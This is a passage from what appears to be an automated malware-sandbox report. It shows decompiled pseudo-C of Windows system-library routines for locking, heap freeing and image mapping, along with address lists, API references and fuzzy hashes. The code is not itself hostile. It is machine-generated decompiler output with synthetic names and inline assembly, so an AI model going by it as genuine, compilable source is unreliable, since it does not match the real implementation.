								 *((intOrPtr*)(_t317 - 0x64)) =  *((intOrPtr*)(_t315 + 0x18));
								 *(_t315 + 0x60) =  *( *[fs:0x18] + 0x24);
								_t224 =  *((intOrPtr*)(_t317 - 0x38)) + 0x28;
								 *(_t317 - 0x94) = _t224;
								_t291 = _t224;
								 *(_t317 - 0x28) = _t291;
								 *(_t317 - 0x90) = _t291;
								E6C01FFB0(_t272, _t307, _t224);
								_t292 = _t307;
								 *(_t317 - 0x54) = _t292;
								_t226 = _t307;
								 *(_t317 - 0x50) = _t226;
								 *(_t317 - 0x44) = _t226;
								__eflags =  *(_t315 + 0x28);
								if(__eflags != 0) {
									asm("lock bts dword [eax], 0x0");
									_t229 = 0;
									_t230 = _t229 & 0xffffff00 | __eflags >= 0x00000000;
									 *(_t317 - 0x50) = _t230;
									 *(_t317 - 0x44) = _t230;
									__eflags = _t230;
									if(_t230 != 0) {
										goto L17;
									}
									__eflags =  *((intOrPtr*)(_t317 + 8)) - 1;
									if( *((intOrPtr*)(_t317 + 8)) == 1) {
										E6C022280( *(_t315 + 0x28) + 0x10,  *(_t315 + 0x28) + 0x10);
										_t230 = 1;
										 *(_t317 - 0x50) = 1;
										 *(_t317 - 0x44) = 1;
										goto L17;
									}
									_t233 = _t230 + 1;
									L35:
									 *( *((intOrPtr*)(_t317 - 0x70)) + 0x58) = _t233;
									__eflags = _t292;
									if(_t292 == 0) {
										E6C022280(_t233,  *(_t317 - 0x28));
									}
									 *(_t315 + 0x60) = _t307;
									goto L37;
								}
								L17:
								__eflags =  *(_t315 + 0x34) - _t307;
								if( *(_t315 + 0x34) != _t307) {
									L26:
									__eflags =  *(_t317 - 0x50);
									if( *(_t317 - 0x50) != 0) {
										_t230 = E6C01FFB0(_t272, _t307,  *(_t315 + 0x28) + 0x10);
									}
									__eflags =  *(_t317 - 0x30);
									if( *(_t317 - 0x30) == 0) {
										L71:
										_t292 =  *(_t317 - 0x54);
										L34:
										_t233 = _t307;
										goto L35;
									}
									E6C022280(_t230,  *(_t317 - 0x94));
									_t292 = 1;
									 *(_t317 - 0x54) = 1;
									__eflags =  *(_t317 - 0x24) - 0xc000022d;
									if( *(_t317 - 0x24) == 0xc000022d) {
										L69:
										__eflags =  *(_t315 + 0x20) & 0x00000004;
										if(( *(_t315 + 0x20) & 0x00000004) == 0) {
											goto L34;
										}
										_t272 = 1;
										__eflags = 1;
										 *(_t317 - 0x60) = 1;
										E6C0930AE(_t315,  *(_t317 - 0x24),  *( *((intOrPtr*)(_t317 - 0x20)) + 0x10));
										goto L71;
									}
									__eflags =  *(_t317 - 0x24) - 0xc0000017;
									if( *(_t317 - 0x24) == 0xc0000017) {
										goto L69;
									}
									__eflags =  *(_t315 + 0x1c);
									if( *(_t315 + 0x1c) != 0) {
										_t238 =  *((intOrPtr*)(_t317 - 0x20));
										__eflags =  *((intOrPtr*)(_t238 + 0x10)) -  *(_t315 + 0x1c);
										if( *((intOrPtr*)(_t238 + 0x10)) -  *(_t315 + 0x1c) > 0) {
											goto L31;
										}
										L32:
										__eflags =  *(_t315 + 0x20) & 0x00000004;
										if(( *(_t315 + 0x20) & 0x00000004) != 0) {
											__eflags =  *(_t315 + 0x50) - _t307;
											if( *(_t315 + 0x50) > _t307) {
												 *(_t315 + 0x40) = _t307;
												 *(_t315 + 0x54) = _t307;
												 *(_t315 + 0x48) = _t307;
												 *(_t315 + 0x4c) = _t307;
												 *(_t315 + 0x50) = _t307;
												 *(_t315 + 0x5c) = _t307;
											}
										}
										goto L34;
									}
									L31:
									 *(_t315 + 0x1c) =  *( *((intOrPtr*)(_t317 - 0x20)) + 0x10);
									goto L32;
								}
								 *(_t317 - 0x30) = 1;
								 *((intOrPtr*)(_t317 - 0x80)) = 1;
								 *((intOrPtr*)(_t317 - 0x64)) = E6C003E80( *((intOrPtr*)(_t317 - 0x64)));
								 *(_t317 - 4) = _t307;
								__eflags =  *(_t317 - 0x5c);
								if( *(_t317 - 0x5c) != 0) {
									_t257 =  *((intOrPtr*)(_t317 - 0x20));
									 *0x6c0fb1e0( *((intOrPtr*)(_t317 - 0x4c)),  *((intOrPtr*)(_t317 - 0x48)),  *((intOrPtr*)(_t257 + 0x10)),  *(_t317 - 0x58),  *((intOrPtr*)(_t317 - 0x3c)),  *((intOrPtr*)(_t317 - 0x68)),  *((intOrPtr*)(_t257 + 0x14)));
									 *(_t317 - 0x24) =  *((intOrPtr*)(_t317 - 0x2c))();
								}
								_t246 =  *(_t317 - 0x40);
								__eflags = _t246 & 0x00000010;
								if((_t246 & 0x00000010) != 0) {
									__eflags =  *(_t315 + 0x34) - _t307;
									if( *(_t315 + 0x34) != _t307) {
										goto L21;
									}
									__eflags =  *(_t317 - 0x24);
									if( *(_t317 - 0x24) >= 0) {
										L64:
										 *0x6c0fb1e0( *((intOrPtr*)(_t317 - 0x4c)),  *((intOrPtr*)(_t317 - 0x48)), _t307,  *(_t317 - 0x58),  *((intOrPtr*)(_t317 - 0x3c)), _t307, _t307);
										 *((intOrPtr*)(_t317 - 0x2c))();
										 *(_t317 - 0x24) = _t307;
										_t246 =  *(_t317 - 0x40);
										goto L21;
									}
									__eflags =  *(_t315 + 0x20) & 0x00000004;
									if(( *(_t315 + 0x20) & 0x00000004) != 0) {
										goto L21;
									}
									goto L64;
								} else {
									L21:
									__eflags = _t246 & 0xffffffee;
									if((_t246 & 0xffffffee) != 0) {
										 *(_t317 - 0x24) = _t307;
										 *0x6c0fb1e0( *((intOrPtr*)(_t317 - 0x4c)),  *((intOrPtr*)(_t317 - 0x48)),  *((intOrPtr*)(_t317 - 0x3c)), _t246);
										 *((intOrPtr*)(_t317 - 0x2c))();
									}
									_t249 = E6C027D50();
									__eflags = _t249;
									if(_t249 != 0) {
										_t252 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x234;
									} else {
										_t252 = 0x7ffe038e;
									}
									__eflags =  *_t252;
									if( *_t252 != 0) {
										_t252 = E6C092E14( *( *((intOrPtr*)(_t317 - 0x20)) + 0x10), _t315,  *((intOrPtr*)(_t317 - 0x38)),  *((intOrPtr*)(_t317 - 0x2c)),  *(_t317 - 0x40),  *(_t317 - 0x24),  *((intOrPtr*)(_t317 - 0x4c)),  *((intOrPtr*)(_t317 - 0x48)));
									}
									 *(_t317 - 4) = 0xfffffffe;
									E6C003E6B(_t252);
									_t230 = E6C003E80( *((intOrPtr*)(_t317 - 0x64)));
									goto L26;
								}
							}
						}
						__eflags = _t286 & 0x00000010;
						if((_t286 & 0x00000010) == 0) {
							goto L37;
						}
						goto L14;
					}
					__eflags =  *(_t315 + 0x1c);
					if( *(_t315 + 0x1c) != 0) {
						__eflags =  *((intOrPtr*)(_t209 + 0x10)) -  *(_t315 + 0x1c);
						if( *((intOrPtr*)(_t209 + 0x10)) -  *(_t315 + 0x1c) > 0) {
							goto L14;
						}
						goto L40;
					}
					goto L14;
				}
			}

0x6c003aca
0x6c003acf
0x6c003ad4
0x6c003ad9
0x6c003adb
0x6c003ae0
0x6c003ae3
0x6c003ae5
0x6c003ae8
0x6c003aeb
0x6c003aed
0x6c003af5
0x6c003af8
0x6c003afb
0x6c003afe
0x6c003b05
0x6c003b0a
0x6c003b0d
0x00000000
0x6c003b10
0x6c003b15
0x6c003b1a
0x6c003b21
0x6c003b30
0x6c003b30
0x6c003b33
0x6c003b33
0x6c003b36
0x6c003b39
0x6c003b3f
0x6c003b47
0x6c003b4a
0x6c003b4a
0x6c003b4f
0x6c003b4f
0x6c003b4f
0x6c003b4f
0x6c003b4f
0x6c003b54
0x6c003b5c
0x6c003b61
0x6c003b67
0x6c003b6f
0x6c003b6f
0x6c003b71
0x6c003b75
0x6c003b77
0x00000000
0x00000000
0x6c003e6c
0x6c003e6c
0x6c003b7d
0x6c003b7d
0x6c003b82
0x6c003b84
0x6c003b87
0x6c003b8a
0x6c003b8d
0x6c003b90
0x6c003b90
0x6c003b97
0x6c003b97
0x6c003ba7
0x6c003baa
0x6c003bad
0x6c003bad
0x6c003bb7
0x6c003bb7
0x6c003bbc
0x6c003bbf
0x6c003bc1
0x6c003bc7
0x6c003bcd
0x6c003bd5
0x6c003bd8
0x6c003bda
0x6c003be1
0x6c003be4
0x6c003be7
0x6c003bea
0x6c003bed
0x6c003d97
0x6c003d9c
0x6c003da8
0x6c003dad
0x6c003db0
0x6c003db2
0x6c003db5
0x6c06020b
0x6c060211
0x6c060213
0x6c060213
0x6c003dbb
0x00000000
0x6c003dbb
0x6c003bf3
0x6c003bf5
0x00000000
0x00000000
0x6c003bfb
0x6c003bfe
0x6c003bfe
0x6c003bfe
0x6c003c02
0x6c003dd1
0x6c003dd1
0x6c003dd7
0x6c0600c1
0x6c0600c4
0x6c003c11
0x6c003c11
0x6c003c14
0x6c0600cf
0x6c0600d2
0x00000000
0x00000000
0x6c0600d8
0x6c0600e6
0x6c0600e9
0x6c0600ec
0x6c0600ef
0x00000000
0x00000000
0x00000000
0x6c0600f5
0x6c0600dd
0x6c0600e0
0x00000000
0x00000000
0x00000000
0x6c0600e0
0x6c003c1a
0x6c003c1a
0x6c003c1d
0x6c003e20
0x6c003e23
0x00000000
0x00000000
0x00000000
0x6c003e29
0x6c003c23
0x6c003c23
0x6c003c26
0x6c003c2c
0x6c003c2f
0x6c003c35
0x6c003c3b
0x6c003c41
0x6c003c47
0x6c003c4d
0x6c003c59
0x6c003c5f
0x6c003c62
0x6c003c68
0x6c003c6a
0x6c003c6d
0x6c003c74
0x6c003c79
0x6c003c7b
0x6c003c7e
0x6c003c80
0x6c003c83
0x6c003c89
0x6c003c8b
0x6c003dea
0x6c003df1
0x6c003df2
0x6c003df5
0x6c003df8
0x6c003dfb
0x6c003dfd
0x00000000
0x00000000
0x6c003e03
0x6c003e07
0x6c003e42
0x6c003e49
0x6c003e4a
0x6c003e4d
0x00000000
0x6c003e4d
0x6c003e09
0x6c003d86
0x6c003d89
0x6c003d8c
0x6c003d8e
0x6c003e31
0x6c003e31
0x6c003d94
0x00000000
0x6c003d94
0x6c003c91
0x6c003c91
0x6c003c94
0x6c003d23
0x6c003d23
0x6c003d27
0x6c003e16
0x6c003e16
0x6c003d2d
0x6c003d31
0x6c0601fe
0x6c0601fe
0x6c003d84
0x6c003d84
0x00000000
0x6c003d84
0x6c003d3d
0x6c003d44
0x6c003d45
0x6c003d48
0x6c003d4f
0x6c0601de
0x6c0601de
0x6c0601e2
0x00000000
0x00000000
0x6c0601ea
0x6c0601ea
0x6c0601eb
0x6c0601f9
0x00000000
0x6c0601f9
0x6c003d55
0x6c003d5c
0x00000000
0x00000000
0x6c003d62
0x6c003d66
0x6c003e55
0x6c003e5e
0x6c003e60
0x00000000
0x00000000
0x6c003d75
0x6c003d75
0x6c003d79
0x6c003d7b
0x6c003d7e
0x6c0601c7
0x6c0601ca
0x6c0601cd
0x6c0601d0
0x6c0601d3
0x6c0601d6
0x6c0601d6
0x6c003d7e
0x00000000
0x6c003d79
0x6c003d6c
0x6c003d72
0x00000000
0x6c003d72
0x6c003c9d
0x6c003ca0
0x6c003cab
0x6c003cae
0x6c003cb1
0x6c003cb5
0x6c003cb7
0x6c003cd2
0x6c003cdb
0x6c003cdb
0x6c003cde
0x6c003ce1
0x6c003ce3
0x6c0600fa
0x6c0600fd
0x00000000
0x00000000
0x6c060103
0x6c060107
0x6c060113
0x6c060125
0x6c06012b
0x6c06012e
0x6c060131
0x00000000
0x6c060131
0x6c060109
0x6c06010d
0x00000000
0x00000000
0x00000000
0x6c003ce9
0x6c003ce9
0x6c003ce9
0x6c003cee
0x6c060139
0x6c060149
0x6c06014f
0x6c06014f
0x6c003cf4
0x6c003cf9
0x6c003cfb
0x6c060160
0x6c003d01
0x6c003d01
0x6c003d01
0x6c003d06
0x6c003d09
0x6c060184
0x6c060184
0x6c003d0f
0x6c003d16
0x6c003d1e
0x00000000
0x6c003d1e
0x6c003ce3
0x6c0600ca
0x6c003ddd
0x6c003de0
0x00000000
0x00000000
0x00000000
0x6c003de2
0x6c003c08
0x6c003c0b
0x6c003dc9
0x6c003dcb
0x00000000
0x00000000
0x00000000
0x6c003dcb
0x00000000
0x6c003c0b

APIs

RtlAcquireSRWLockExclusive.1105(00000000,6C0DF4D0,00000084,6C003A18,00000000,?,?), ref: 6C003B05
RtlReleaseSRWLockExclusive.1105(?,?,00000000,6C0DF4D0,00000084,6C003A18,00000000,?,?), ref: 6C003B1A
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,00000000,6C0DF4D0,00000084,6C003A18,00000000,?,?), ref: 6C003C74

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$Acquire
String ID:
API String ID: 1021914862-0
Opcode ID: cb5421ce712f6c6b53533eecfdb5b6e8c352bd9d5adaf44648786acc32c97725
Instruction ID: 0acbfc14d1ca81a1be0138ec700f0a0ae80c28c68f9c68abc457a3b444dd8c59
Opcode Fuzzy Hash: cb5421ce712f6c6b53533eecfdb5b6e8c352bd9d5adaf44648786acc32c97725
Instruction Fuzzy Hash: 28E11374E05648DFDB26CFAAD980B8DFBF1BF48308F25462AE556A7A50D730A841CF10

Uniqueness

Uniqueness Score: -1.00%

Function 6C03AC7B, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 205
nativeCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E6C03AC7B(void* __ecx, signed short* __edx) {
				signed int _v8;
				signed int _v12;
				void* __ebx;
				signed char _t75;
				signed int _t79;
				signed int _t88;
				intOrPtr _t89;
				signed int _t96;
				signed char* _t97;
				intOrPtr _t98;
				signed int _t101;
				signed char* _t102;
				intOrPtr _t103;
				signed int _t105;
				signed char* _t106;
				signed int _t131;
				signed int _t138;
				void* _t149;
				signed short* _t150;

				_t150 = __edx;
				_t149 = __ecx;
				_t70 =  *__edx & 0x0000ffff;
				__edx[1] = __edx[1] & 0x000000f8;
				__edx[3] = 0;
				_v8 =  *__edx & 0x0000ffff;
				if(( *(__ecx + 0x40) & 0x00000040) != 0) {
					_t39 =  &(_t150[8]); // 0x9
					E6C05D5E0(_t39, _t70 * 8 - 0x10, 0xfeeefeee);
					__edx[1] = __edx[1] | 0x00000004;
				}
				_t75 =  *(_t149 + 0xcc) ^  *0x6c0f8a68;
				if(_t75 != 0) {
					L4:
					if( *((intOrPtr*)(_t149 + 0x4c)) != 0) {
						_t150[1] = _t150[0] ^ _t150[1] ^  *_t150;
						_t79 =  *(_t149 + 0x50);
						 *_t150 =  *_t150 ^ _t79;
						return _t79;
					}
					return _t75;
				} else {
					_t9 =  &(_t150[0x80f]); // 0x1018
					_t138 = _t9 & 0xfffff000;
					_t10 =  &(_t150[0x14]); // 0x21
					_v12 = _t138;
					if(_t138 == _t10) {
						_t138 = _t138 + 0x1000;
						_v12 = _t138;
					}
					_t75 = _t150 + (( *_t150 & 0x0000ffff) + 0xfffffffe) * 0x00000008 & 0xfffff000;
					if(_t75 > _t138) {
						_v8 = _t75 - _t138;
						_push(0x4000);
						_push( &_v8);
						_push( &_v12);
						_push(0xffffffff);
						_t131 = E6C0496E0();
						__eflags = _t131 - 0xc0000045;
						if(_t131 == 0xc0000045) {
							_t88 = E6C0B3C60(_v12, _v8);
							__eflags = _t88;
							if(_t88 != 0) {
								_push(0x4000);
								_push( &_v8);
								_push( &_v12);
								_push(0xffffffff);
								_t131 = E6C0496E0();
							}
						}
						_t89 =  *[fs:0x30];
						__eflags = _t131;
						if(_t131 < 0) {
							__eflags =  *(_t89 + 0xc);
							if( *(_t89 + 0xc) == 0) {
								_push("HEAP: ");
								E6C00B150();
							} else {
								E6C00B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_v8);
							_push(_v12);
							_push(_t149);
							_t75 = E6C00B150("RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)\n", _t131);
							goto L4;
						} else {
							_t96 =  *(_t89 + 0x50);
							_t132 = 0x7ffe0380;
							__eflags = _t96;
							if(_t96 != 0) {
								__eflags =  *_t96;
								if( *_t96 == 0) {
									goto L10;
								}
								_t97 =  *( *[fs:0x30] + 0x50) + 0x226;
								L11:
								__eflags =  *_t97;
								if( *_t97 != 0) {
									_t98 =  *[fs:0x30];
									__eflags =  *(_t98 + 0x240) & 0x00000001;
									if(( *(_t98 + 0x240) & 0x00000001) != 0) {
										E6C0C14FB(_t149, _v12, _v8, 7);
									}
								}
								 *((intOrPtr*)(_t149 + 0x234)) =  *((intOrPtr*)(_t149 + 0x234)) + _v8;
								 *((intOrPtr*)(_t149 + 0x210)) =  *((intOrPtr*)(_t149 + 0x210)) + 1;
								 *((intOrPtr*)(_t149 + 0x230)) =  *((intOrPtr*)(_t149 + 0x230)) + 1;
								 *((intOrPtr*)(_t149 + 0x220)) =  *((intOrPtr*)(_t149 + 0x220)) + 1;
								_t101 =  *( *[fs:0x30] + 0x50);
								__eflags = _t101;
								if(_t101 != 0) {
									__eflags =  *_t101;
									if( *_t101 == 0) {
										goto L13;
									}
									_t102 =  *( *[fs:0x30] + 0x50) + 0x226;
									goto L14;
								} else {
									L13:
									_t102 = _t132;
									L14:
									__eflags =  *_t102;
									if( *_t102 != 0) {
										_t103 =  *[fs:0x30];
										__eflags =  *(_t103 + 0x240) & 0x00000001;
										if(( *(_t103 + 0x240) & 0x00000001) != 0) {
											__eflags = E6C027D50();
											if(__eflags != 0) {
												_t132 =  *( *[fs:0x30] + 0x50) + 0x226;
												__eflags =  *( *[fs:0x30] + 0x50) + 0x226;
											}
											E6C0C1411(_t132, _t149, _v12, __eflags, _v8,  *(_t149 + 0x74) << 3, 0, 0,  *_t132 & 0x000000ff);
										}
									}
									_t133 = 0x7ffe038a;
									_t105 =  *( *[fs:0x30] + 0x50);
									__eflags = _t105;
									if(_t105 != 0) {
										__eflags =  *_t105;
										if( *_t105 == 0) {
											goto L16;
										}
										_t106 =  *( *[fs:0x30] + 0x50) + 0x230;
										goto L17;
									} else {
										L16:
										_t106 = _t133;
										L17:
										__eflags =  *_t106;
										if( *_t106 != 0) {
											__eflags = E6C027D50();
											if(__eflags != 0) {
												_t133 =  *( *[fs:0x30] + 0x50) + 0x230;
												__eflags =  *( *[fs:0x30] + 0x50) + 0x230;
											}
											E6C0C1411(_t133, _t149, _v12, __eflags, _v8,  *(_t149 + 0x74) << 3, 0, 0,  *_t133 & 0x000000ff);
										}
										_t75 = _t150[1] & 0x00000013 | 0x00000008;
										_t150[1] = _t75;
										goto L4;
									}
								}
							}
							L10:
							_t97 = _t132;
							goto L11;
						}
					} else {
						goto L4;
					}
				}
			}

0x6c03ac85
0x6c03ac88
0x6c03ac8a
0x6c03ac8d
0x6c03ac91
0x6c03ac99
0x6c03ac9c
0x6c079f57
0x6c079f5b
0x6c079f60
0x6c079f60
0x6c03aca8
0x6c03acae
0x6c03acda
0x6c03acde
0x6c03ace8
0x6c03aceb
0x6c03acee
0x00000000
0x6c03acee
0x6c03acf6
0x6c03acb0
0x6c03acb0
0x6c03acbb
0x6c03acbd
0x6c03acc0
0x6c03acc5
0x6c03adae
0x6c03adb4
0x6c03adb4
0x6c03acd4
0x6c03acd8
0x6c03acf9
0x6c03acff
0x6c03ad04
0x6c03ad08
0x6c03ad09
0x6c03ad10
0x6c03ad12
0x6c03ad18
0x6c079f6f
0x6c079f74
0x6c079f76
0x6c079f7c
0x6c079f84
0x6c079f88
0x6c079f89
0x6c079f90
0x6c079f90
0x6c079f76
0x6c03ad1e
0x6c03ad24
0x6c03ad26
0x6c07a097
0x6c07a09b
0x6c07a0ba
0x6c07a0bf
0x6c07a09d
0x6c07a0b2
0x6c07a0b7
0x6c07a0c5
0x6c07a0c8
0x6c07a0cb
0x6c07a0d2
0x00000000
0x6c03ad2c
0x6c03ad2c
0x6c03ad2f
0x6c03ad34
0x6c03ad36
0x6c079f97
0x6c079f9a
0x00000000
0x00000000
0x6c079fa9
0x6c03ad3e
0x6c03ad3e
0x6c03ad41
0x6c079fb3
0x6c079fb9
0x6c079fc0
0x6c079fd0
0x6c079fd0
0x6c079fc0
0x6c03ad4a
0x6c03ad50
0x6c03ad5c
0x6c03ad62
0x6c03ad68
0x6c03ad6b
0x6c03ad6d
0x6c079fda
0x6c079fdd
0x00000000
0x00000000
0x6c079fec
0x00000000
0x6c03ad73
0x6c03ad73
0x6c03ad73
0x6c03ad75
0x6c03ad75
0x6c03ad78
0x6c079ff6
0x6c079ffc
0x6c07a003
0x6c07a00e
0x6c07a010
0x6c07a01b
0x6c07a01b
0x6c07a01b
0x6c07a038
0x6c07a038
0x6c07a003
0x6c03ad84
0x6c03ad89
0x6c03ad8c
0x6c03ad8e
0x6c07a042
0x6c07a045
0x00000000
0x00000000
0x6c07a054
0x00000000
0x6c03ad94
0x6c03ad94
0x6c03ad94
0x6c03ad96
0x6c03ad96
0x6c03ad99
0x6c07a063
0x6c07a065
0x6c07a070
0x6c07a070
0x6c07a070
0x6c07a08d
0x6c07a08d
0x6c03ada4
0x6c03ada6
0x00000000
0x6c03ada6
0x6c03ad8e
0x6c03ad6d
0x6c03ad3c
0x6c03ad3c
0x00000000
0x6c03ad3c
0x00000000
0x00000000
0x00000000
0x6c03acd8

APIs

ZwFreeVirtualMemory.1105(000000FF,-00000018,?,00004000,?,-00000007,00000001,?,-00000018,?), ref: 6C03AD0B
RtlFillMemoryUlong.1105(00000009,?,FEEEFEEE,?,-00000007,00000001,?,-00000018,?), ref: 6C079F5B

Strings

RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 6C07A0CD
HEAP: , xrefs: 6C07A0BA
HEAP[%wZ]: , xrefs: 6C07A0AD

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Memory$FillFreeUlongVirtual
String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
API String ID: 3117835691-1340214556
Opcode ID: 39f5ecccf814c848226fdf896f7fccb5cfd779a82365fae48a4cef4614b00665
Instruction ID: a89c04cce61c4c067c7236315cc9cf74be339392b0e6c89894add2aad5f9fae9
Opcode Fuzzy Hash: 39f5ecccf814c848226fdf896f7fccb5cfd779a82365fae48a4cef4614b00665
Instruction Fuzzy Hash: AE814731244A95EFDB26CFA8C884F9AB7F8FF05708F2445A5E5558BB91D738E940CB20

Uniqueness

Uniqueness Score: -1.00%

Function 6C03D7CA, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 192
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6C03D7CA(signed int __ecx, intOrPtr* __edx, char _a4, long* _a8, void** _a12, intOrPtr* _a16) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				char _v24;
				signed int _v28;
				long _v32;
				char _v36;
				long _v40;
				long _v44;
				void* _v48;
				signed int _v52;
				long _v56;
				char _v60;
				signed int _v64;
				signed int _v68;
				intOrPtr _v72;
				char* _v76;
				signed int _v80;
				char _v84;
				void* _t70;
				signed int _t77;
				signed int _t83;
				intOrPtr _t97;
				signed int _t99;
				signed int _t100;
				void* _t102;
				signed int _t104;
				void* _t105;
				intOrPtr* _t108;
				long* _t109;
				long _t113;
				void* _t114;
				intOrPtr* _t115;
				signed int _t116;

				_t115 = __edx;
				_t113 = 0;
				_v28 = __ecx;
				_v8 = 0;
				_v12 = 0;
				_v16 = 0;
				_v24 = 0;
				if(__ecx == 0 || __edx == 0 || _a12 == 0) {
					return 0xc000000d;
				} else {
					_t70 = __ecx & 0xfffffffc;
					RtlImageNtHeader(_t70);
					if(_t70 == 0) {
						_t116 = 0xc000007b;
						L27:
						if(_v8 != 0) {
							_push(_v8);
							E6C0495D0();
							_v8 = _t113;
						}
						if(_v16 != 0) {
							_push(_v16);
							_push(0xffffffff);
							E6C0497A0();
						}
						L25:
						return _t116;
					}
					_t104 = 6;
					asm("sbb ebx, ebx");
					_t105 = 2;
					_t102 = (_t100 & _t104) + _t105;
					if(_a4 != 0) {
						_v36 =  *_t115;
						_v32 =  *((intOrPtr*)(_t115 + 4));
						_v20 = 0;
						_v84 = 0x18;
						L33:
						_v80 = _v80 & 0x00000000;
						L10:
						_v68 = _v68 & 0x00000000;
						_v64 = _v64 & 0x00000000;
						_v72 = 0x40;
						_v76 =  &_v36;
						_t77 = E6C03D976( &_v8,  &_v84, _v28);
						_t116 = _t77;
						if(_t113 == 0) {
							_t113 = 0;
							L14:
							if(_t116 < 0) {
								goto L27;
							}
							_push(_v8);
							_push(0x8000000);
							_push(_t102);
							_push(_t113);
							_push(_t113);
							_push(0xf0005);
							_push( &_v12);
							_t116 = E6C0499A0();
							if(_t116 < 0) {
								goto L27;
							}
							_push(_t102);
							_push(_t113);
							_push(1);
							_v44 = _t113;
							_push( &_v24);
							_v40 = _t113;
							_push( &_v44);
							_push(_t113);
							_push(_t113);
							_push( &_v16);
							_push(0xffffffff);
							_push(_v12);
							_t83 = E6C049780();
							_t116 = _t83;
							if(_v12 != 0) {
								_push(_v12);
								_t83 = E6C0495D0();
								_v12 = _t113;
							}
							if(_t116 < 0) {
								goto L27;
							} else {
								RtlImageNtHeader(_v16);
								if(_t83 == 0) {
									_t116 = 0xc000007b;
								}
								if(_t116 < 0) {
									goto L27;
								} else {
									 *_a12 = _v16;
									_t108 = _a16;
									if(_t108 != 0) {
										 *_t108 = _v24;
									}
									_t109 = _a8;
									if(_t109 == 0) {
										if(_v8 != 0) {
											_push(_v8);
											E6C0495D0();
										}
									} else {
										 *_t109 = _v8;
									}
									goto L25;
								}
							}
						}
						_t114 = _v48;
						if(_t114 != 0) {
							asm("lock xadd [edi], eax");
							if((_t77 | 0xffffffff) != 0) {
								goto L12;
							}
							_push( *((intOrPtr*)(_t114 + 4)));
							E6C0495D0();
							_t113 = 0;
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t114);
							L13:
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t113, _v20);
							goto L14;
						}
						L12:
						_t113 = 0;
						goto L13;
					}
					_t116 = E6C0165BA(_t105,  *((intOrPtr*)(_t115 + 4)),  &_v36, 0,  &_v60);
					if(_t116 < 0) {
						goto L27;
					}
					_t97 = _v60;
					_t113 = _v32;
					_v20 = _t113;
					if(_t97 != 0) {
						_v36 = _t97;
						_v32 = _v56;
						_t99 = _v52;
					} else {
						_t99 = 0;
					}
					_v84 = 0x18;
					if(_t113 == 0) {
						goto L33;
					} else {
						_v80 = _t99;
						goto L10;
					}
				}
			}

0x6c03d7d6
0x6c03d7d9
0x6c03d7db
0x6c03d7de
0x6c03d7e1
0x6c03d7e4
0x6c03d7e7
0x6c03d7ec
0x00000000
0x6c03d803
0x6c03d803
0x6c03d807
0x6c03d80e
0x6c07b180
0x6c03d95a
0x6c03d95e
0x6c07b203
0x6c07b206
0x6c07b20b
0x6c07b20b
0x6c03d968
0x6c07b213
0x6c07b216
0x6c07b218
0x6c07b218
0x6c03d94f
0x00000000
0x6c03d94f
0x6c03d816
0x6c03d81d
0x6c03d821
0x6c03d822
0x6c03d828
0x6c07b18c
0x6c07b192
0x6c07b195
0x6c07b198
0x6c07b19f
0x6c07b19f
0x6c03d86f
0x6c03d872
0x6c03d879
0x6c03d883
0x6c03d88a
0x6c03d88d
0x6c03d892
0x6c03d896
0x6c07b1e5
0x6c03d8bb
0x6c03d8bd
0x00000000
0x00000000
0x6c03d8c3
0x6c03d8c9
0x6c03d8ce
0x6c03d8cf
0x6c03d8d0
0x6c03d8d1
0x6c03d8d6
0x6c03d8dc
0x6c03d8e0
0x00000000
0x00000000
0x6c03d8e2
0x6c03d8e3
0x6c03d8e4
0x6c03d8e9
0x6c03d8ec
0x6c03d8f0
0x6c03d8f3
0x6c03d8f4
0x6c03d8f5
0x6c03d8f9
0x6c03d8fa
0x6c03d8fc
0x6c03d8ff
0x6c03d908
0x6c03d90a
0x6c03d90c
0x6c03d90f
0x6c03d914
0x6c03d914
0x6c03d919
0x00000000
0x6c03d91b
0x6c03d91e
0x6c03d925
0x6c03d96f
0x6c03d96f
0x6c03d929
0x00000000
0x6c03d92b
0x6c03d931
0x6c03d933
0x6c03d938
0x6c03d93d
0x6c03d93d
0x6c03d93f
0x6c03d944
0x6c07b1f0
0x6c07b1f6
0x6c07b1f9
0x6c07b1f9
0x6c03d94a
0x6c03d94d
0x6c03d94d
0x00000000
0x6c03d944
0x6c03d929
0x6c03d919
0x6c03d89c
0x6c03d8a1
0x6c07b1bc
0x6c07b1c0
0x00000000
0x00000000
0x6c07b1c6
0x6c07b1c9
0x6c07b1d5
0x6c07b1db
0x6c03d8a9
0x6c03d8b6
0x00000000
0x6c03d8b6
0x6c03d8a7
0x6c03d8a7
0x00000000
0x6c03d8a7
0x6c03d83f
0x6c03d843
0x00000000
0x00000000
0x6c03d849
0x6c03d84c
0x6c03d84f
0x6c03d855
0x6c07b1a8
0x6c07b1ae
0x6c07b1b1
0x6c03d85b
